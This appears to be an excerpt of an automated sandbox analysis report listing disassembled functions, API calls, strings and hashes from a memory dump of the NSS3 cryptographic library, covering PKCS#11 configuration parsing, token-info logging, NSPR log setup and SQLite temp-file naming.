NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CED5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CED5F5B
free.MOZGLUE(00000000), ref: 6CED5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CED5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CED5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CED5FC4
free.MOZGLUE(00000000), ref: 6CED5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CED5FE9
free.MOZGLUE(00000000), ref: 6CED5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CED600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CED6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CED605A
PR_smprintf.NSS3(6CFAAAF9,00000000), ref: 6CED606A
free.MOZGLUE(00000000), ref: 6CED607C
free.MOZGLUE(00000000), ref: 6CED609A
free.MOZGLUE(00000000), ref: 6CED60B2
free.MOZGLUE(?), ref: 6CED60CE

Strings

pkcs11.txt, xrefs: 6CED5F47, 6CED5F7C, 6CED603A, 6CED6053
configDir=, xrefs: 6CED5F9D
%s/%s, xrefs: 6CED6055
secmod=, xrefs: 6CED5FB1
noModDB, xrefs: 6CED5EEA
forceSecmodChoice, xrefs: 6CED5F55
readOnly, xrefs: 6CED5E56
secmod.db, xrefs: 6CED5EA0
flags, xrefs: 6CED5E3A, 6CED5EC6, 6CED5F30

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 68ed79540947c77aef32dcb50334938040b3c9c742082d45969220f20aa67ae0
Instruction ID: bffaa8327f3dfb05b707a5a6ec63ce26e714de35c874177a55b5fa7df1fc25f1
Opcode Fuzzy Hash: 68ed79540947c77aef32dcb50334938040b3c9c742082d45969220f20aa67ae0
Instruction Fuzzy Hash: 629107F0E052015BEB109F65DC85B9B3BB89F0624CF290465EC55DBB42E732E907C7A2

Function 6CEA28A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CEA28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CEA28EF

Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80B88
Part of subcall function 6CF809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF80C5D
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF80C8D
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80C9C
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80CD1
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80CEC
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80CFB
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80D16
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF80D26
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D35
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF80D65
Part of subcall function 6CF809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF80D70
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80D90
Part of subcall function 6CF809D0: free.MOZGLUE(00000000), ref: 6CF80D99

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CEA28D6

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CEA2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CEA2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CEA29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CEA29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CEA2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CEA2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CEA2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CEA2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CEA2AB6

Strings

CKF_WRITE_PROTECTED, xrefs: 6CEA29FE, 6CEA2A1F
maxSessions = %u, Sessions = %u, xrefs: 6CEA2A43
manufacturerID = "%.32s", xrefs: 6CEA297E
flags = %s %s %s %s, xrefs: 6CEA2A21
label = "%.32s", xrefs: 6CEA295E
pInfo = 0x%p, xrefs: 6CEA28EA
model = "%.16s", xrefs: 6CEA299E
CKF_USER_PIN_INIT, xrefs: 6CEA29E5
hardware version: %d.%d, xrefs: 6CEA2A89
slotID = 0x%x, xrefs: 6CEA28D1
firmware version: %d.%d, xrefs: 6CEA2AB1
serial = "%.16s", xrefs: 6CEA29BE
maxRwSessions = %u, RwSessions = %u, xrefs: 6CEA2A61
CKF_RNG, xrefs: 6CEA2A13, 6CEA2A20
CKF_LOGIN_REQUIRED, xrefs: 6CEA29F3, 6CEA2A1E
C_GetTokenInfo, xrefs: 6CEA28B8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: a08378b15eae377b03a95dc27c0aca50f6c31f1c80eca2570a41cf9a68fe0ab3
Instruction ID: 943e42aaf1abf7f650d3fc6102bbb9f9c825ffad406b71a917cea610e0dd40b3
Opcode Fuzzy Hash: a08378b15eae377b03a95dc27c0aca50f6c31f1c80eca2570a41cf9a68fe0ab3
Instruction Fuzzy Hash: AB5108B1A02040AFEB008FA1CD8DB5577B5AB4520DF4580B8ED08AF712DB33EC05CB91

Function 6CE61D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE61DA3

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE61DB2

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE61DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE61E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE61EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE61ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE61EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE61F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE61F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE61F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE61F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE61F83
PR_SetLogFile.NSS3(00000000), ref: 6CE61FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE61FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE61FCB
free.MOZGLUE(00000000), ref: 6CE61FD2

Strings

timestamp, xrefs: 6CE61EC4
NSPR_LOG_FILE, xrefs: 6CE61F69
sync, xrefs: 6CE61E46
NSPR_LOG_MODULES, xrefs: 6CE61DAD
all, xrefs: 6CE61F0E
, %n, xrefs: 6CE61E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE61E27
bufsize, xrefs: 6CE61E9B
Unable to create nspr log file '%s', xrefs: 6CE61FB3
append, xrefs: 6CE61EE6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: e7cc5b4769aa056e2d425d9f0e95e59a88ff944d8141c095143f0d6ba2e46dde
Instruction ID: 825eaa56392700015cd279e750c406afd50b9d859ae1c99b9b33b55223288576
Opcode Fuzzy Hash: e7cc5b4769aa056e2d425d9f0e95e59a88ff944d8141c095143f0d6ba2e46dde
Instruction Fuzzy Hash: 62519EB1E602099BDF01DBE6CC45B9E77B8AF0134DF280528E816DBB01E771E918CB91

Function 6CF46E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CE0BE66), ref: 6CF46E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CE0BE66), ref: 6CF46E98
sqlite3_snprintf.NSS3(?,00000000,6CFAAAF9,?,?,?,?,?,?,6CE0BE66), ref: 6CF46EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CE0BE66), ref: 6CF46ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CE0BE66), ref: 6CF46EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CE0BE66), ref: 6CF46FA6
sqlite3_snprintf.NSS3(?,00000000,6CFAAAF9,00000000,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF47014
sqlite3_free.NSS3(00000000,?,?,?,?,6CE0BE66), ref: 6CF4701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CE0BE66), ref: 6CF47030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF4705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CE0BE66), ref: 6CF47079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF47097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF470A0

Strings

mz_etilqs_, xrefs: 6CF46F18
winGetTempname1, xrefs: 6CF4708F
winGetTempname2, xrefs: 6CF470C4
winGetTempname4, xrefs: 6CF47046
winGetTempname5, xrefs: 6CF47071

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 772f0c94a0e9386173b15b953bd90c2d569b48fdcb9d4a8d25f64d486514123d
Instruction ID: c086ad04fc85dc9d62e72edfeeea23211005a6ac7c2133ae010e50fc58e3d700
Opcode Fuzzy Hash: 772f0c94a0e9386173b15b953bd90c2d569b48fdcb9d4a8d25f64d486514123d
Instruction Fuzzy Hash: 90518BB2E0211167E70497349C51FFB3A669F82318F158538E81197BC3FB26A90EC2E2

Function 6CED4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000,00000000,00000001), ref: 6CED5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CED5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CED5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CED50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2), ref: 6CED50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CED50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5153
free.MOZGLUE(?), ref: 6CED516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CED517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED5195

Strings

config=, xrefs: 6CED509B
name=, xrefs: 6CED5057
parameters=, xrefs: 6CED506B
nss=, xrefs: 6CED5083
library=, xrefs: 6CED5043

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 2714a8dd360d39b1cae50d7e5f530814b38eead1b8279673b5e4cc4375185861
Instruction ID: 01570e7d3085c48b65c1f4a63220a146495c8a4da18b2148c615798c3a64b36e
Opcode Fuzzy Hash: 2714a8dd360d39b1cae50d7e5f530814b38eead1b8279673b5e4cc4375185861
Instruction Fuzzy Hash: D85187F5A126166BEB00DF24DC41AAB37B8DF0624CF250424EC59E7741EB25FA16C7B2

Function 6CED4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C5B
PR_smprintf.NSS3(6CFAAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CED4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CED4DA2
free.MOZGLUE(?), ref: 6CED4DB9
free.MOZGLUE(00000000), ref: 6CED4DCF

Strings

any, xrefs: 6CED4C96
slotFlags, xrefs: 6CED4D34
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CED4D9D
0x%08lx=[%s %s], xrefs: 6CED4D80
rust, xrefs: 6CED4D22
%s,%s, xrefs: 6CED4C4B
rootFlags, xrefs: 6CED4D47
every, xrefs: 6CED4CA1
ootT, xrefs: 6CED4D1A
timeout, xrefs: 6CED4C91

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 65380a2202411bef92b94eb142dbfa98313797e583e97f5cdea7cbd930c3515a
Instruction ID: d0fde9c54bc4c0e073784a2f03a632b9f69ffd9506e337a95eb6a18cf3c10402
Opcode Fuzzy Hash: 65380a2202411bef92b94eb142dbfa98313797e583e97f5cdea7cbd930c3515a
Instruction Fuzzy Hash: 2441BDB1E10141ABEB125F549C44ABF7675AFA230CF2A412AEC164B701E732E927C7D3

Function 6CEB6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CEB6943
Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CEB6957
Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CEB6972
Part of subcall function 6CEB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CEB6983
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CEB69AA
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CEB69BE
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CEB69D2
Part of subcall function 6CEB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CEB69DF
Part of subcall function 6CEB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CEB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB6D8C
free.MOZGLUE(00000000), ref: 6CEB6DC5
free.MOZGLUE(?), ref: 6CEB6DD6
free.MOZGLUE(?), ref: 6CEB6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6E72
free.MOZGLUE(?), ref: 6CEB6EA7
free.MOZGLUE(?), ref: 6CEB6EC4
free.MOZGLUE(?), ref: 6CEB6ED5
free.MOZGLUE(00000000), ref: 6CEB6EE3
free.MOZGLUE(?), ref: 6CEB6EF4
free.MOZGLUE(?), ref: 6CEB6F08
free.MOZGLUE(00000000), ref: 6CEB6F35
free.MOZGLUE(?), ref: 6CEB6F44
free.MOZGLUE(?), ref: 6CEB6F5B
free.MOZGLUE(00000000), ref: 6CEB6F65

Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEB781D,00000000,6CEABE2C,?,6CEB6B1D,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C40
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEB781D,?,6CEABE2C,?), ref: 6CEB6C58
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C6F
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEB6C84
Part of subcall function 6CEB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEB6C96
Part of subcall function 6CEB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEB6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CEB6FF4

Strings

+`l, xrefs: 6CEB6D0D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

